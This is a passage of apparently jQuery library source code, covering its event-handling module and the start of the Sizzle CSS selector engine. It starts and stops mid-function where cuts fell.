eventHandle; } }, teardown: function( namespaces, eventHandle ) { if ( this.onbeforeunload === eventHandle ) { this.onbeforeunload = null; } } } } }; jQuery.removeEvent = document.removeEventListener ? function( elem, type, handle ) { if ( elem.removeEventListener ) { elem.removeEventListener( type, handle, false ); } } : function( elem, type, handle ) { if ( elem.detachEvent ) { elem.detachEvent( "on" + type, handle ); } }; jQuery.Event = function( src ) { // Allow instantiation without the 'new' keyword if ( !this.preventDefault ) { return new jQuery.Event( src ); } // Event object if ( src && src.type ) { this.originalEvent = src; this.type = src.type; // Events bubbling up the document may have been marked as prevented // by a handler lower down the tree; reflect the correct value. this.isDefaultPrevented = (src.defaultPrevented || src.returnValue === false || src.getPreventDefault && src.getPreventDefault()) ? returnTrue : returnFalse; // Event type } else { this.type = src; } // timeStamp is buggy for some events on Firefox(#3843) // So we won't rely on the native value this.timeStamp = jQuery.now(); // Mark it as fixed this[ jQuery.expando ] = true; }; function returnFalse() { return false; } function returnTrue() { return true; } // jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding // http://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html jQuery.Event.prototype = { preventDefault: function() { this.isDefaultPrevented = returnTrue; var e = this.originalEvent; if ( !e ) { return; } // if preventDefault exists run it on the original event if ( e.preventDefault ) { e.preventDefault(); // otherwise set the returnValue property of the original event to false (IE) } else { e.returnValue = false; } }, stopPropagation: function() { this.isPropagationStopped = returnTrue; var e = this.originalEvent; if ( !e ) { return; } // if stopPropagation exists run it on the original event if ( e.stopPropagation ) { e.stopPropagation(); } // otherwise set the cancelBubble property of the original event to true (IE) e.cancelBubble = true; }, stopImmediatePropagation: function() { this.isImmediatePropagationStopped = returnTrue; this.stopPropagation(); }, isDefaultPrevented: returnFalse, isPropagationStopped: returnFalse, isImmediatePropagationStopped: returnFalse }; // Checks if an event happened on an element within another element // Used in jQuery.event.special.mouseenter and mouseleave handlers var withinElement = function( event ) { // Check if mouse(over|out) are still within the same parent element var parent = event.relatedTarget; // Firefox sometimes assigns relatedTarget a XUL element // which we cannot access the parentNode property of try { // Chrome does something similar, the parentNode property // can be accessed but is null. if ( parent && parent !== document && !parent.parentNode ) { return; } // Traverse up the tree while ( parent && parent !== this ) { parent = parent.parentNode; } if ( parent !== this ) { // set the correct event type event.type = event.data; // handle event if we actually just moused on to a non sub-element jQuery.event.handle.apply( this, arguments ); } // assuming we've left the element since we most likely mousedover a xul element } catch(e) { } }, // In case of event delegation, we only need to rename the event.type, // liveHandler will take care of the rest. delegate = function( event ) { event.type = event.data; jQuery.event.handle.apply( this, arguments ); }; // Create mouseenter and mouseleave events jQuery.each({ mouseenter: "mouseover", mouseleave: "mouseout" }, function( orig, fix ) { jQuery.event.special[ orig ] = { setup: function( data ) { jQuery.event.add( this, fix, data && data.selector ? delegate : withinElement, orig ); }, teardown: function( data ) { jQuery.event.remove( this, fix, data && data.selector ? delegate : withinElement ); } }; }); // submit delegation if ( !jQuery.support.submitBubbles ) { jQuery.event.special.submit = { setup: function( data, namespaces ) { if ( this.nodeName && this.nodeName.toLowerCase() !== "form" ) { jQuery.event.add(this, "click.specialSubmit", function( e ) { var elem = e.target, type = elem.type; if ( (type === "submit" || type === "image") && jQuery( elem ).closest("form").length ) { trigger( "submit", this, arguments ); } }); jQuery.event.add(this, "keypress.specialSubmit", function( e ) { var elem = e.target, type = elem.type; if ( (type === "text" || type === "password") && jQuery( elem ).closest("form").length && e.keyCode === 13 ) { trigger( "submit", this, arguments ); } }); } else { return false; } }, teardown: function( namespaces ) { jQuery.event.remove( this, ".specialSubmit" ); } }; } // change delegation, happens here so we have bind. if ( !jQuery.support.changeBubbles ) { var changeFilters, getVal = function( elem ) { var type = elem.type, val = elem.value; if ( type === "radio" || type === "checkbox" ) { val = elem.checked; } else if ( type === "select-multiple" ) { val = elem.selectedIndex > -1 ? jQuery.map( elem.options, function( elem ) { return elem.selected; }).join("-") : ""; } else if ( elem.nodeName.toLowerCase() === "select" ) { val = elem.selectedIndex; } return val; }, testChange = function testChange( e ) { var elem = e.target, data, val; if ( !rformElems.test( elem.nodeName ) || elem.readOnly ) { return; } data = jQuery._data( elem, "_change_data" ); val = getVal(elem); // the current data will be also retrieved by beforeactivate if ( e.type !== "focusout" || elem.type !== "radio" ) { jQuery._data( elem, "_change_data", val ); } if ( data === undefined || val === data ) { return; } if ( data != null || val ) { e.type = "change"; e.liveFired = undefined; jQuery.event.trigger( e, arguments[1], elem ); } }; jQuery.event.special.change = { filters: { focusout: testChange, beforedeactivate: testChange, click: function( e ) { var elem = e.target, type = elem.type; if ( type === "radio" || type === "checkbox" || elem.nodeName.toLowerCase() === "select" ) { testChange.call( this, e ); } }, // Change has to be called before submit // Keydown will be called before keypress, which is used in submit-event delegation keydown: function( e ) { var elem = e.target, type = elem.type; if ( (e.keyCode === 13 && elem.nodeName.toLowerCase() !== "textarea") || (e.keyCode === 32 && (type === "checkbox" || type === "radio")) || type === "select-multiple" ) { testChange.call( this, e ); } }, // Beforeactivate happens also before the previous element is blurred // with this event you can't trigger a change event, but you can store // information beforeactivate: function( e ) { var elem = e.target; jQuery._data( elem, "_change_data", getVal(elem) ); } }, setup: function( data, namespaces ) { if ( this.type === "file" ) { return false; } for ( var type in changeFilters ) { jQuery.event.add( this, type + ".specialChange", changeFilters[type] ); } return rformElems.test( this.nodeName ); }, teardown: function( namespaces ) { jQuery.event.remove( this, ".specialChange" ); return rformElems.test( this.nodeName ); } }; changeFilters = jQuery.event.special.change.filters; // Handle when the input is .focus()'d changeFilters.focus = changeFilters.beforeactivate; } function trigger( type, elem, args ) { // Piggyback on a donor event to simulate a different one. // Fake originalEvent to avoid donor's stopPropagation, but if the // simulated event prevents default then we do the same on the donor. // Don't pass args or remember liveFired; they apply to the donor event. var event = jQuery.extend( {}, args[ 0 ] ); event.type = type; event.originalEvent = {}; event.liveFired = undefined; jQuery.event.handle.call( elem, event ); if ( event.isDefaultPrevented() ) { args[ 0 ].preventDefault(); } } // Create "bubbling" focus and blur events if ( document.addEventListener ) { jQuery.each({ focus: "focusin", blur: "focusout" }, function( orig, fix ) { // Attach a single capturing handler while someone wants focusin/focusout var attaches = 0; jQuery.event.special[ fix ] = { setup: function() { if ( attaches++ === 0 ) { document.addEventListener( orig, handler, true ); } }, teardown: function() { if ( --attaches === 0 ) { document.removeEventListener( orig, handler, true ); } } }; function handler( donor ) { // Donor event is always a native one; fix it and switch its type. // Let focusin/out handler cancel the donor focus/blur event. var e = jQuery.event.fix( donor ); e.type = fix; e.originalEvent = {}; jQuery.event.trigger( e, null, e.target ); if ( e.isDefaultPrevented() ) { donor.preventDefault(); } } }); } jQuery.each(["bind", "one"], function( i, name ) { jQuery.fn[ name ] = function( type, data, fn ) { // Handle object literals if ( typeof type === "object" ) { for ( var key in type ) { this[ name ](key, data, type[key], fn); } return this; } if ( jQuery.isFunction( data ) || data === false ) { fn = data; data = undefined; } var handler = name === "one" ? jQuery.proxy( fn, function( event ) { jQuery( this ).unbind( event, handler ); return fn.apply( this, arguments ); }) : fn; if ( type === "unload" && name !== "one" ) { this.one( type, data, fn ); } else { for ( var i = 0, l = this.length; i < l; i++ ) { jQuery.event.add( this[i], type, handler, data ); } } return this; }; }); jQuery.fn.extend({ unbind: function( type, fn ) { // Handle object literals if ( typeof type === "object" && !type.preventDefault ) { for ( var key in type ) { this.unbind(key, type[key]); } } else { for ( var i = 0, l = this.length; i < l; i++ ) { jQuery.event.remove( this[i], type, fn ); } } return this; }, delegate: function( selector, types, data, fn ) { return this.live( types, data, fn, selector ); }, undelegate: function( selector, types, fn ) { if ( arguments.length === 0 ) { return this.unbind( "live" ); } else { return this.die( types, null, fn, selector ); } }, trigger: function( type, data ) { return this.each(function() { jQuery.event.trigger( type, data, this ); }); }, triggerHandler: function( type, data ) { if ( this[0] ) { var event = jQuery.Event( type ); event.preventDefault(); event.stopPropagation(); jQuery.event.trigger( event, data, this[0] ); return event.result; } }, toggle: function( fn ) { // Save reference to arguments for access in closure var args = arguments, i = 1; // link all the functions, so any of them can unbind this click handler while ( i < args.length ) { jQuery.proxy( fn, args[ i++ ] ); } return this.click( jQuery.proxy( fn, function( event ) { // Figure out which function to execute var lastToggle = ( jQuery._data( this, "lastToggle" + fn.guid ) || 0 ) % i; jQuery._data( this, "lastToggle" + fn.guid, lastToggle + 1 ); // Make sure that clicks stop event.preventDefault(); // and execute the function return args[ lastToggle ].apply( this, arguments ) || false; })); }, hover: function( fnOver, fnOut ) { return this.mouseenter( fnOver ).mouseleave( fnOut || fnOver ); } }); var liveMap = { focus: "focusin", blur: "focusout", mouseenter: "mouseover", mouseleave: "mouseout" }; jQuery.each(["live", "die"], function( i, name ) { jQuery.fn[ name ] = function( types, data, fn, origSelector /* Internal Use Only */ ) { var type, i = 0, match, namespaces, preType, selector = origSelector || this.selector, context = origSelector ? this : jQuery( this.context ); if ( typeof types === "object" && !types.preventDefault ) { for ( var key in types ) { context[ name ]( key, data, types[key], selector ); } return this; } if ( jQuery.isFunction( data ) ) { fn = data; data = undefined; } types = (types || "").split(" "); while ( (type = types[ i++ ]) != null ) { match = rnamespaces.exec( type ); namespaces = ""; if ( match ) { namespaces = match[0]; type = type.replace( rnamespaces, "" ); } if ( type === "hover" ) { types.push( "mouseenter" + namespaces, "mouseleave" + namespaces ); continue; } preType = type; if ( type === "focus" || type === "blur" ) { types.push( liveMap[ type ] + namespaces ); type = type + namespaces; } else { type = (liveMap[ type ] || type) + namespaces; } if ( name === "live" ) { // bind live handler for ( var j = 0, l = context.length; j < l; j++ ) { jQuery.event.add( context[j], "live." + liveConvert( type, selector ), { data: data, selector: selector, handler: fn, origType: type, origHandler: fn, preType: preType } ); } } else { // unbind live handler context.unbind( "live." + liveConvert( type, selector ), fn ); } } return this; }; }); function liveHandler( event ) { var stop, maxLevel, related, match, handleObj, elem, j, i, l, data, close, namespace, ret, elems = [], selectors = [], events = jQuery._data( this, "events" ); // Make sure we avoid non-left-click bubbling in Firefox (#3861) and disabled elements in IE (#6911) if ( event.liveFired === this || !events || !events.live || event.target.disabled || event.button && event.type === "click" ) { return; } if ( event.namespace ) { namespace = new RegExp("(^|\\.)" + event.namespace.split(".").join("\\.(?:.*\\.)?") + "(\\.|$)"); } event.liveFired = this; var live = events.live.slice(0); for ( j = 0; j < live.length; j++ ) { handleObj = live[j]; if ( handleObj.origType.replace( rnamespaces, "" ) === event.type ) { selectors.push( handleObj.selector ); } else { live.splice( j--, 1 ); } } match = jQuery( event.target ).closest( selectors, event.currentTarget ); for ( i = 0, l = match.length; i < l; i++ ) { close = match[i]; for ( j = 0; j < live.length; j++ ) { handleObj = live[j]; if ( close.selector === handleObj.selector && (!namespace || namespace.test( handleObj.namespace )) && !close.elem.disabled ) { elem = close.elem; related = null; // Those two events require additional checking if ( handleObj.preType === "mouseenter" || handleObj.preType === "mouseleave" ) { event.type = handleObj.preType; related = jQuery( event.relatedTarget ).closest( handleObj.selector )[0]; } if ( !related || related !== elem ) { elems.push({ elem: elem, handleObj: handleObj, level: close.level }); } } } } for ( i = 0, l = elems.length; i < l; i++ ) { match = elems[i]; if ( maxLevel && match.level > maxLevel ) { break; } event.currentTarget = match.elem; event.data = match.handleObj.data; event.handleObj = match.handleObj; ret = match.handleObj.origHandler.apply( match.elem, arguments ); if ( ret === false || event.isPropagationStopped() ) { maxLevel = match.level; if ( ret === false ) { stop = false; } if ( event.isImmediatePropagationStopped() ) { break; } } } return stop; } function liveConvert( type, selector ) { return (type && type !== "*" ? type + "." : "") + selector.replace(rperiod, "`").replace(rspace, "&"); } jQuery.each( ("blur focus focusin focusout load resize scroll unload click dblclick " + "mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " + "change select submit keydown keypress keyup error").split(" "), function( i, name ) { // Handle event binding jQuery.fn[ name ] = function( data, fn ) { if ( fn == null ) { fn = data; data = null; } return arguments.length > 0 ? this.bind( name, data, fn ) : this.trigger( name ); }; if ( jQuery.attrFn ) { jQuery.attrFn[ name ] = true; } }); /*! * Sizzle CSS Selector Engine * Copyright 2011, The Dojo Foundation * Released under the MIT, BSD, and GPL Licenses. * More information: http://sizzlejs.com/ */ (function(){ var chunker = /((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g, done = 0, toString = Object.prototype.toString, hasDuplicate = false, baseHasDuplicate = true, rBackslash = /\\/g, rNonWord = /\W/; // Here we check if the JavaScript engine is using some sort of // optimization where it does not always call our comparision // function. If that is the case, discard the hasDuplicate value. // Thus far that includes Google Chrome. [0, 0].sort(function() { baseHasDuplicate = false; return 0; }); var Sizzle = function( selector, context, results, seed ) { results = results || []; context = context || document; var origContext = context; if ( context.nodeType !== 1 && context.nodeType !== 9 ) { return []; } if ( !selector || typeof selector !== "string" ) { return results; } var m, set, checkSet, extra, ret, cur, pop, i, prune = true, contextXML = Sizzle.isXML( context ), parts = [], soFar = selector; // Reset the position of the chunker regexp (start from head) do { chunker.exec( "" ); m = chunker.exec( soFar ); if ( m ) { soFar = m[3]; parts.push( m[1] ); if ( m[2] ) { extra = m[3]; break; } } } while ( m ); if ( parts.length > 1 && origPOS.exec( selector ) ) { if ( parts.length === 2 && Expr.relative[ parts[0] ] ) { set = posProcess( parts[0] + parts[1], context ); } else { set = Expr.relative[ parts[0] ] ? [ context ] : Sizzle( parts.shift(), context ); while ( parts.length ) { selector = parts.shift(); if ( Expr.relative[ selector ] ) { selector += parts.shift(); } set = posProcess( selector, set ); } } } else { // Take a shortcut and set the context if the root selector is an ID // (but not if it'll be faster if the inner selector is an ID) if ( !seed && parts.length > 1 && context.nodeType === 9 && !contextXML && Expr.match.ID.test(parts[0]) && !Expr.match.ID.test(parts[parts.length - 1]) ) { ret = Sizzle.find( parts.shift(), context, contextXML ); context = ret.expr ? Sizzle.filter( ret.expr, ret.set )[0] : ret.set[0]; } if ( context ) { ret = seed ? { expr: parts.pop(), set: makeArray(seed) } : Sizzle.find( parts.pop(), parts.length === 1 && (parts[0] === "~" || parts[0] === "+") && context.parentNode ? context.parentNode : context, contextXML ); set = ret.expr ? Sizzle.filter( ret.expr, ret.set ) : ret.set; if ( parts.length > 0 ) { checkSet = makeArray( set ); } else { prune = false; } while ( parts.length ) { cur = parts.pop(); pop = cur; if ( !Expr.relative[ cur ] ) { cur = ""; } else { pop = parts.pop(); } if ( pop == null ) { pop = context; } Expr.relative[ cur ]( checkSet, pop, contextXML ); } } else { checkSet = parts = []; } } if ( !checkSet ) { checkSet = set; } if ( !checkSet ) { Sizzle.error( cur || selector ); } if ( toString.call(checkSet) === "[object Array]" ) { if ( !prune ) { results.push.apply( results, checkSet ); } else if ( context && context.nodeType === 1 ) { for ( i = 0; checkSet[i] != null; i++ ) { if ( checkSet[i] && (checkSet[i] === true || checkSet[i].nodeType === 1 && Sizzle.contains(context, checkSet[i])) ) { results.push( set[i] ); } } } else { for ( i = 0; checkSet[i] != null; i++ ) { if ( checkSet[i] && checkSet[i].nodeType === 1 ) { results.push( set[i] ); } } } } else { makeArray( checkSet, results ); } if ( extra ) { Sizzle( extra, origContext, results, seed ); Sizzle.uniqueSort( results ); } return results; }; Sizzle.uniqueSort = function( results ) { if ( sortOrder ) { hasDuplicate = baseHasDuplicate; results.sort( sortOrder ); if ( hasDuplicate ) { for ( var i = 1; i < results.length; i++ ) { if ( results[i] === results[ i - 1 ] ) { results.splice( i--, 1 ); } } } } return results; }; Sizzle.matches = function( expr, set ) { return Sizzle( expr, null, null, set ); }; Sizzle.matchesSelector = function( node, expr ) { return Sizzle( expr, null, null, [node] ).length > 0; }; Sizzle.find = function( expr, context, isXML ) { var set; if ( !expr ) { return []; } for ( var i = 0, l = Expr.order.length; i < l; i++ ) { var match, type = Expr.order[i]; if ( (match = Expr.leftMatch[ type ].exec( expr )) ) { var left = match[1]; match.splice( 1, 1 ); if ( left.substr( left.length - 1 ) !== "\\" ) { match[1] = (match[1] || "").replace( rBackslash, "" ); set = Expr.find[ type ]( match, context, isXML ); if ( set != null ) { expr = expr.replace( Expr.match[ type ], "" ); break; } } } } if ( !set ) { set = typeof context.getElementsByTagName !== "undefined" ? context.getElementsByTagName( "*" ) : []; } return { set: set, expr: expr }; }; Sizzle.filter = function( expr, set, inplace, not ) { var match, anyFound, old = expr, result = [], curLoop = set, isXMLFilter = set && set[0] && Sizzle.isXML( set[0] ); while ( expr && set.length ) { for ( var type in Expr.filter ) { if ( (match = Expr.leftMatch[ type ].exec( expr )) != null && match[2] ) { var found, item, filter = Expr.filter[ type ], left = match[1]; anyFound = false; match.splice(1,1); if ( left.substr( left.length - 1 ) === "\\" ) { continue; } if ( curLoop === result ) { result = []; } if ( Expr.preFilter[ type ] ) { match = Expr.preFilter[ type ]( match, curLoop, inplace, result, not, isXMLFilter ); if ( !match ) { anyFound = found = true; } else if ( match === true ) { continue; } } if ( match ) { for ( var i = 0; (item = curLoop[i]) != null; i++ ) { if ( item ) { found = filter( item, match, i, curLoop ); var pass = not ^ !!found; if ( inplace && found != null ) { if ( pass ) { anyFound = true; } else { curLoop[i] = false; } } else if ( pass ) { result.push( item ); anyFound = true; } } } } if ( found !== undefined ) { if ( !inplace ) { curLoop = result; } expr = expr.replace( Expr.match[ type ], "" ); if ( !anyFound ) { return []; } break; } } } // Improper expression if ( expr === old ) { if ( anyFound == null ) { Sizzle.error( expr ); } else { break; } } old = expr; } return curLoop; }; Sizzle.error = function( msg ) { throw "Syntax error, unrecognized expression: " + msg; }; var Expr = Sizzle.selectors = { order: [ "ID", "NAME", "TAG" ], match: { ID: /#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/, CLASS: /\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/, NAME: /\[name=['"]*((?:[\w\u00c0-\uFFFF\-]|\\.)+)['"]*\]/, ATTR: /\[\s*((?:[\w\u00c0-\uFFFF\-]|\\.)+)\s*(?:(\S?=)\s*(?:(['"])(.*?)\3|(#?(?:[\w\u00c0-\uFFFF\-]|\\.)*)|)|)\s*\]/, TAG: /^((?:[\w\u00c0-\uFFFF\*\-]|\\.)+)/, CHILD: /:(only|nth|last|first)-child(?:\(\s*(even|odd|(?:[+\-]?\d+|(?:[+\-]?\d*)?n\s*(?:[+\-]\s*\d+)?))\s*\))?/, POS: /:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^\-]|$)/, PSEUDO: /:((?:[\w\u00c0-\uFFFF\-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/ }, leftMatch: {}, attrMap: { "class": "className", "for": "htmlFor" }, attrHandle: { href: function( elem ) { return elem.getAttribute( "href" ); }, type: function( elem ) { return elem.getAttribute( "type" ); } }, relative: { "+": function(checkSet, part){ var isPartStr = typeof part === "string", isTag = isPartStr && !rNonWord.test( part ), isPartStrNotTag = isPartStr && !isTag; if ( isTag ) { part = part.toLowerCase(); } for ( var i = 0, l = checkSet.length, elem; i < l; i++ ) { if ( (elem = checkSet[i]) ) { while ( (elem = elem.previousSibling) && elem.nodeType !== 1 ) {} checkSet[i] = isPartStrNotTag || elem && elem.nodeName.toLowerCase() === part ? elem || false : elem === part; } } if ( isPartStrNotTag ) { Sizzle.filter( part, checkSet, true ); } }, ">": function( checkSet, part ) { var elem, isPartStr = typeof part === "string", i = 0, l = checkSet.length; if ( isPartStr && !rNonWord.test( part ) ) { part = part.toLowerCase(); for ( ; i < l; i++ ) { elem = checkSet[i]; if ( elem ) { var parent = elem.parentNode; checkSet[i] = parent.nodeName.toLowerCase() === part ? parent : false; } } } else { for ( ; i < l; i++ ) { elem = checkSet[i]; if ( elem ) { checkSet[i] = isPartStr ? elem.parentNode : elem.parentNode === part; } } if ( isPartStr ) { Sizzle.filter( part, checkSet, true ); } } }, "": function(checkSet, part, isXML){ var nodeCheck, doneName = done++, checkFn = dirCheck; if ( typeof part === "string" && !rNonWord.test( part ) ) { part = part.toLowerCase(); nodeCheck = part; checkFn = dirNodeCheck; } checkFn( "parentNode", part, doneName, checkSet, nodeCheck, isXML ); }, "~": function( checkSet, part, isXML ) { var nodeCheck, doneName = done++, checkFn = dirCheck; if ( typeof part === "string" && !rNonWord.test( part ) ) { part = part.toLowerCase(); nodeCheck = part; checkFn = dirNodeCheck; } checkFn( "previousSibling", part, doneName, checkSet, nodeCheck, isXML ); } }, find: { ID: function( match, context, isXML ) { if ( typeof context.getElementById !== "undefined" && !isXML ) { var m = context.getElementById(match[1]); // Check parentNode to catch when Blackberry 4.6 returns // nodes that are no longer in the document #6963 return m && m.parentNode ? [m] : []; } }, NAME: function( match, context ) { if ( typeof context.getElementsByName !== "undefined" ) { var ret = [], results = context.getElementsByName( match[1] ); for ( var i = 0, l = results.length; i < l; i++ ) { if ( results[i].getAttribute("name") === match[1] ) { ret.push( results[i] ); } } return ret.length === 0 ? null : ret; } }, TAG: function( match, context ) { if ( typeof context.getElementsByTagName !== "undefined" ) { return context.getElementsByTagName( match[1] ); } } }, preFilter: { CLASS: function( match, curLoop, inplace, result, not, isXML ) { match = " " + match[1].replace( rBackslash, "" ) + " "; if ( isXML ) { return match; } for ( var i = 0, elem; (elem = curLoop[i]) != null; i++ ) { if ( elem ) { if ( not ^ (elem.className && (" " + elem.className + " ").replace(/[\t\n\r]/g, " ").indexOf(match) >= 0) ) { if ( !inplace ) { result.push( elem ); } } else if ( inplace ) { curLoop[i] = false; } } } return false; }, ID: function( match ) { return match[1].replace( rBackslash, "" ); }, TAG: function( match, curLoop ) { return match[1].replace( rBackslash, "" ).toLowerCase(); }, CHILD: function( match ) { if ( match[1] === "nth" ) { if ( !match[2] ) { Sizzle.error( match[0] ); } match[2] = match[2].replace(/^\+|\s*/g, ''); // parse equations like 'even', 'odd', '5', '2n', '3n+2', '4n-1', '-n+6' var test = /(-?)(\d*)(?:n([+\-]?\d*))?/.exec( match[2] === "even" && "2n" || match[2] === "odd" && "2n+1" || !/\D/.test( match[2] ) && "0n+" + match[2] || match[2]); // calculate the numbers (first)n+(last) including if they are negative match[2] = (test[1] + (test[2] || 1)) - 0; match[3] = test[3] - 0; } else if ( match[2] ) { Sizzle.error( match[0] ); } // TODO: Move to normal caching system match[0] = done++; return match; }, ATTR: function( match, curLoop, inplace, result, not, isXML ) { var name = match[1] = match[1].replace( rBackslash, "" ); if ( !isXML && Expr.attrMap[name] ) { match[1] = Expr.attrMap[name]; } // Handle if an un-quoted value was used match[4] = ( match[4] || match[5] || "" ).replace( rBackslash, "" ); if ( match[2] === "~=" ) { match[4] = " " + match[4] + " "; } return match; }, PSEUDO: function( match, curLoop, inplace, result, not ) { if ( match[1] === "not" ) { // If we're dealing with a complex expression, or a simple one if ( ( chunker.exec(match[3]) || "" ).length > 1 || /^\w/.test(match[3]) ) { match[3] = Sizzle(match[3], null, null, curLoop); } else { var ret = Sizzle.filter(match[3], curLoop, inplace, true ^ not); if ( !inplace ) { result.push.apply( result, ret ); } return false; } } else if ( Expr.match.POS.test( match[0] ) || Expr.match.CHILD.test( match[0] ) ) { return true; } return match; }, POS: function( match ) { match.unshift( true ); return match; } }, filters: { enabled: function( elem ) { return elem.disabled === false && elem.type !== "hidden"; }, disabled: function( elem ) { return elem.disabled === true; }, checked: function( elem ) { return elem.checked === true; }, selected: function( elem ) { // Accessing this property makes selected-by-default // options in Safari work properly if ( elem.parentNode ) { elem.parentNode.selectedIndex; } return elem.selected === true; }, parent: function( elem ) { return !!elem.firstChild; }, empty: function( elem ) { return !elem.firstChild; }, has: function( elem, i, match ) { return !!Sizzle( match[3], elem ).length; }, header: function( elem ) { return (/h\d/i).test( elem.nodeName ); }, text: function( elem ) { var attr = elem.getAttribute( "type" ), type = elem.type; // IE6 and 7 will map elem.type to 'text' for new HTML5 types (search, etc) // use getAttribute instead to test this case return "text" === type && ( attr === type || attr === null ); }, radio: function( elem ) { return "radio" === elem.type; }, checkbox: function( elem ) { return "checkbox" === elem.type; }, file: function( elem ) { return "file" === elem.type; }, password: function( elem ) { return "password" === elem.type; }, submit: function( elem ) { return "submit" === elem.type; }, image: function( elem ) { return "image" === elem.type; }, reset: function( elem ) { return "reset" === elem.type; }, button: function( elem ) { return "button" === elem.type || elem.nodeName.toLowerCase() === "button"; }, input: function( elem ) { return (/input|select|textarea|button/i).test( elem.nodeName ); } }, setFilters: { first: function( elem, i ) { return i === 0; }, last: function( elem, i, match, array ) { return i === array.length - 1; }, even: function( elem, i ) { return i % 2 === 0; }, odd: function( elem, i ) { return i % 2 === 1; }, lt: function( elem, i, match ) { return i < match[3] - 0; }, gt: function( elem, i, match ) { return i > match[3] - 0; }, nth: function( elem, i, match ) { return match[3] - 0 === i; }, eq: function( elem, i, match ) { return match[3] - 0 === i; } }, filter: { PSEUDO: function( elem, match, i, array ) { var name = match[1], filter = Expr.filters[ name ]; if ( filter ) { return filter( elem, i, match, array ); } else if ( name === "contains" ) { return (elem.textContent || elem.innerText || Sizzle.getText([ elem ]) || "").indexOf(match[3]) >= 0; } else if ( name === "not" ) { var not = match[3]; for ( var j = 0, l = not.length; j < l; j++ ) { if ( not[j] === elem ) { return false; } } return true; } else { Sizzle.error( name ); } }, CHILD: function( elem, match ) { var type = match[1], node = elem; switch ( type ) { case "only": case "first": while ( (node = node.previousSibling) ) { if ( node.nodeType === 1 ) { return false; } } if ( type === "first" ) { return true; } node = elem; case "last": while ( (node = node.nextSibling) ) { if ( node.nodeType === 1 ) { return false; } } return true; case "nth": var first = match[2], last = match[3]; if ( first === 1 && last === 0 ) { return true; } var doneName = match[0], parent = elem.parentNode; if ( parent && (parent.sizcache !== doneName || !elem.nodeIndex) ) { var count = 0; for ( node = parent.firstChild; node; node = node.nextSibling ) { if ( node.nodeType === 1 ) { node.nodeIndex = ++count; } } parent.sizcache = doneName; } var diff = elem.nodeIndex - last; if ( first === 0 ) { return diff === 0; } else { return ( diff % first === 0 && diff / first >= 0 ); } } }, ID: function( elem, match ) { return elem.nodeType === 1 && elem.getAttribute("id") === match; }, TAG: function( elem, match ) { return (match === "*" && elem.nodeType === 1) || elem.nodeName.toLowerCase() === match; }, CLASS: function( elem, match ) { return (" " + (elem.className || elem.getAttribute("class")) + " ") .indexOf( match ) > -1; }, ATTR: function( elem, match ) { var name = match[1], result = Expr.attrHandle[ name ] ? Expr.attrHandle[ name ]( elem ) : elem[ name ] != null ? elem[ name ] : elem.getAttribute( name ), value = result + "", type = match[2], check = match[4]; return result == null ? type === "!=" : type === "=" ? value === check : type === "*=" ? value.indexOf(check) >= 0 : type === "~=" ? (" " + value + " ").indexOf(check) >= 0 : !check ? value && result !== false : type === "!=" ? value !== check : type === "^=" ? value.indexOf(check) === 0 : type === "$=" ? value.substr(value.length - check.length) === check : type === "|=" ? value === check || value.substr(0, check.length + 1) === check + "-" : false; }, POS: function( elem, match, i, array ) { var name = match[2], filter = Expr.setFilters[ name ]; if ( filter ) { return filter( elem, i, match, array ); } } } }; var origPOS = Expr.match.POS, fescape = function(all, num){ return "\\" + (num - 0 + 1); }; for ( var type in Expr.match ) { Expr.match[ type ] = new RegExp( Expr.match[ type ].source + (/(?![^\[]*\])(?![^\(]*\))/.source) ); Expr.leftMatch[ type ] = new RegExp( /(^(?:.|\r|\n)*?)/.source + Expr.match[ type ].source.replace(/\\(\d+)/g, fescape) ); } var makeArray = function( array, results ) { array = Array.prototype.slice.call( array, 0 ); if ( results ) { results.push.apply( results, array ); return results; } return array; }; // Perform a simple check to determine if the browser is capable of // converting a NodeList to an array using builtin methods. // Also verifies that the returned array holds DOM nodes // (which is not the case in the Blackberry browser) try { Array.prototype.slice.call( document.documentElement.childNodes, 0 )[0].nodeType; // Provide a fallback method if it does not work } catch( e ) { makeArray = function( array, results ) { var i = 0, ret = results || []; if ( toString.call(array) === "[object Array]" ) { Array.prototype.push.apply( ret, array ); } else { if ( typeof array.length === "number" ) { for ( var l = array.length; i < l; i++ ) { ret.push( array[i] ); } } else { for ( ; array[i]; i++ ) { ret.push( array[i] ); } } } return ret; }; } var sortOrder, siblingCheck; if ( document.documentElement.compareDocumentPosition ) { sortOrder = function( a, b ) { if ( a === b ) { hasDuplicate = true; return 0; } if ( !a.compareDocumentPosition || !b.compareDocumentPosition ) { return a.compareDocumentPosition ? -1 : 1; } return a.compareDocumentPosition(b) & 4 ? -1 : 1; }; } else { sortOrder = function( a, b ) { var al, bl, ap = [], bp = [], aup = a.parentNode, bup = b.parentNode, cur = aup; // The nodes are identical, we can exit early if ( a === b ) { hasDuplicate = true; return 0; // If the nodes are siblings (or identical) we can do a quick check } else if ( aup === bup ) { return siblingCheck( a, b ); // If no parents were found then the nodes are disconnected } else if ( !aup ) { return -1; } else if ( !bup ) { return 1; } // Otherwise they're somewhere else in the tree so we need // to build up a full list of the parentNodes for comparison while ( cur ) { ap.unshift( cur ); cur = cur.parentNode; } cur = bup; while ( cur ) { bp.unshift( cur ); cur = cur.parentNode; } al = ap.length; bl = bp.length; // Start walking down the tree looking for a discrepancy for ( var i = 0; i < al && i < bl; i++ ) { if ( ap[i] !== bp[i] ) { return siblingCheck( ap[i], bp[i] ); } } // We ended someplace up the tree so do a sibling check return i === al ? siblingCheck( a, bp[i], -1 ) : siblingCheck( ap[i], b, 1 ); }; siblingCheck = function( a, b, ret ) { if ( a === b ) { return ret; } var cur = a.nextSibling; while ( cur ) { if ( cur === b ) { return -1; } cur = cur.nextSibling; } return 1; }; } // Utility function for retreiving the text value of an array of DOM nodes Sizzle.getText = function( elems ) { var ret = "", elem; for ( var i = 0; elems[i]; i++ ) { elem = elems[i]; // Get the text from text nodes and CDATA nodes if ( elem.nodeType === 